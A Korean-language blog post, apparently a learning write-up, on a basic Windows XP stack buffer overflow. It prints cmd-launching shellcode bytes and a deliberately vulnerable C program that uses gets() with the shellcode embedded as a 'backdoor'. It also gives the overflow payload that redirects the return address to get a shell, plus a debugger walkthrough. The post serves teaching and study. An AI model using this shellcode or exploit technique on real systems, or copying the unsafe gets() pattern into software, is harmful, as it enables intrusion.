안녕하세요 sweetchip입니다.
시스템 해킹부분에선 앞으로 리눅스와 윈도우의 버퍼오버플로우를 다룰 예정이고
주로 제가 공부했던 내용을 위주로 포스팅을 해 나갈 예정입니다.
2013년 목표는 1개이상의 인지도가 높은 프로그램의 취약점을 이용하여 Exploit 을 성공하는것입니다 ㅋㅋ
아무래도.. 지금은 처음이다 보니 기초적인것을 해야 합니다.
일단 오늘 할것은 너무나도 취약해보이는 프로그램을 공격해 보는것입니다.
심지어 프로그램 안에 쉘코드도 장착된 상태입니다.
그냥 백도어라고 합시다 ㅋㅋㅋ
일단 쉘코드는 오늘.. 음.. 시간으로 치면 어제 만든 Command 를 띄우는 쉘코드를 이용할 예정입니다.
쉘코드를 만드는 방법은 따로 나중에 포스팅 하겠습니다.
\x55
\x8b\xec
\x83\xec\x44
\x53
\x56
\x57
\xc6\x45\xfc\x63
\xc6\x45\xfd\x6d
\xc6\x45\xfe\x64
\xc6\x45\xff\x00
\x8b\xf4
\x6a\x01
\x8d\x45\xfc
\x50
\xb8\xad\x23\x86\x7c
\xff\xd0
\x6a\x01
\xb8\xfa\xca\x81\x7c
\xff\xd0
깔끔하게 정리한것
"\x55\x8b\xec\x83\xec\x44\x53\x56\x57\xc6\x45\xfc"
"\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\xc6\x45\xff"
"\x00\x8b\xf4\x6a\x01\x8d\x45\xfc\x50\xb8\xad\x23"
"\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff"
"\xd0"; // 곧바로 char 에 붙여도 되도록 해놨습니다.
좋습니다.
이제 쉘코드 자체 내장 취약한 프로그램 백도어를 만들어봅시다.
간단하게 BOF의 원리만 알아가는 단계니까요~
// gets.cpp
// sweetchip
// 2013.01.04
// Winxp sp3 VS6.0 release_mode
#include
char wtfisthis[100] =
"\x55\x8b\xec\x83\xec\x44\x53\x56\x57\xc6\x45\xfc"
"\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\xc6\x45\xff"
"\x00\x8b\xf4\x6a\x01\x8d\x45\xfc\x50\xb8\xad\x23"
"\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff"
"\xd0\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; //쉘코드 뒤에 임의로 \x41을 붙였습니다. 찾기쉽도록 ㅎㅎ;
int main()
{
char helloworld[10];
printf("당신의 이름을 입력해 주세요 :D : ");
gets(helloworld); // Vuln!
printf("\n\n아하! 당신의 이름은 %s 이군요. 반갑습니다. :D",helloworld);
getchar();
}
gets 부분에서 취약점이 일어나는 매우 간단한 프로그램입니다.
리눅스 bof 를 배울때도 자주보던 코드입니다.
helloworld 라는 char 배열에는 10개까지 들어갈수 있는데, gets 는 글자수 제한이 없어서 무한정 들어갈수 있습니다.
그러다 보면 helloworld를 넘어 더미, 리턴어드레스 등을 덮어버릴수 있는 무책임한 함수입니다
실제오 10년전엔 편의상 이 코드를 쓰는 개발자가 많았다고 합니다. 그리고 해커들의 대상이 되었기도 합니다.
스택의 구조는 설명하지 않고 바로 Payload 구성으로 들어가겠습니다.
10byte 2byte 4byte
char[] dummy ret
VS6.0 이라 security_cookie 가 붙지 않습니다. [만약 붙어도 우회가 가능합니다]
12바이트까지는 아무글자나, 그리고 4바이트는 리턴어드레스로 쉘코드가 존재하는 메모리 영역으로 돌려놓는다면 결국 쉘코드가 작동할것입니다.
최대 10개까지 넣을수 있는 char 배열에 저렇게 gets 로 넣어버리면 bof로 프로그램이 뻗어버린다.
본격적으로 분석해보자.
프로그램을 끄고 올리로 다시 분석을 시작했다.
처음엔 프로그램이 돌아가는 과정을 알기위해서 취약점이 존재하는 함수에 브레이크 포인트를 설정했다.
정상적으로 aaaaaaaaaa 을 집어넣고 [더미에 \0이 붙어서 오류는 나지 않는다.]
함수 끝의 리턴어드레스를 확인하면 0x00401321 이다.
위 사진처럼 매우 정상적으로 리턴어드레스에 돌아왔다.
자, 그러면 이 백도어에 내장된 쉘코드의 위치를 알아보자.
쉘코드는 함수로 쓰이지 않고 char 배열로 선언되어 있으므로 메모리 상에 존재한다.
아까 위에서 쉘코드를 봣듯이 끝부분에 \x41을 봤을것이다. 이것을 지워도 안지워도 상관없지만 위 사진처럼 쉽게 찾기위해서 넣어둔 것이다
참고로 0x41은 'A' 와 같은 글자이다.
A 덕분에 쉘코드를 쉽게 찾을수 있었다.
메모리 상의 주소는 0x00406030 이었고, 리턴어드레스를 저쪽으로 돌려준다면 Exploit 을 성공할것이다.
기대된다.
Payload
12BYTE 2BYTE 4BYTE
char[] dummy RET
0x00406030 이므로 리틀엔디안 방식으로 넣는다. 하지만 \x 이렇게 넣을수 없으므로, 문자열로 변환하여 집어넣는다. 0x30 = '0', 0x60= '`', 0x40='@' 0x00 = ''
이므로 AAAAAAAAAAAA0`@ 를 넣어서 리턴어드레스틑 0x00406030 으로 돌려버린다.
BOF 공격으로 성공적으로 return Address 는 0x00406030 으로 변조되고 이 함수를 나가면 쉘코드로 진입할것이다.
이것이 메모리 영역에 존재하는 쉘코드이다.
코드상의 주소는 0x00406030 이므로 제대로 들어온것이다 만세!
그러면 F9를 눌러서 쉘코드를 실행시키자.
리턴어드레스를 쉘코드가 존재하는 부분으로 돌림으로서, 성공적으로 쉘을 획득했다.
이것이 windows buffer overflow 의 기초이다. 물론 나도 배우고 있는 입장이지만..
리눅스와는 달리 친숙한 윈도우이므로 감회가 새롭다.
mkdir 로 쉘을 얻은것을 인증!
그런데 이 포스팅을 쓰는 도중 신기한것을 발견했다.
나는 분명히 한번 이름만 입력을 받고 종료하도록 만든 프로그램이 이렇게 작동을 하고 있는것이다.
인공지능인가 의심을 했지만, 올리디버거로 다시 살펴봤다.
일단 입력한 문자열은 aaaaaaaaaaaa 였다.
10byte 2byte 4byte
char[] dummy ret
중 char배열과 더미를 덮는 12바이트의 a였다.
이쯤되면 눈치채는 사람이 있을것이다.
리턴어드레스 값이 이상하다. 분명 0x00401321 이어야 할것이 0x00401300 이라는것이다.
설마해서 가봤더니 정말 현재 취약점이 존재하는 함수보다도 더 뒤로 가버린 것이다.
그렇다면 리턴어드레스가 조작이 되었다는 것이다.
잠시 생각을 해보니, 컴파일러는 배열의 끝을 구분하기 위해서 0x00 널바이트를 넣는다.
내가 입력한것은 12바이트 문자이다. 따라서 배열을 구분하기 위해서 13바이트 부분에 널바이트가 들어가서 리턴어드레스가 변조된것이다.
게다가 리틀엔디안 방식이라서 00이 맨 뒤로 들어가서 실제로는 0x00401321 가 0x00401300 으로 변해버린것이다.
그렇다면 a를 11바이트 만큼 넣었다.
이러면 정상적으로 돌아갈것이다.
리턴 어드레스는 정상적으로 돌아왔다.
리턴어드레스에 따라 정상적으로 이동했다.
EIP 값도 0x00401321 으로 제대로 되었다.
생각치도 못하게 신기한[?] 발견을 했다.. ㅋㅋ
Basic of real world exploit [윈도우 BOF문서] - http://pgnsc.tistory.com/290
LOB level 1~5 Exploit (0) | 2013.01.17 |
---|---|
windows buffer overflow - exploit #1 (0) | 2013.01.06 |
hackerschool FTZ level11 Write up (1) | 2012.11.03 |
HackerSchool LOB 이미지 파일 (7) | 2012.10.28 |
HackerSchool LOB Level1 Exploit (1) | 2012.09.18 |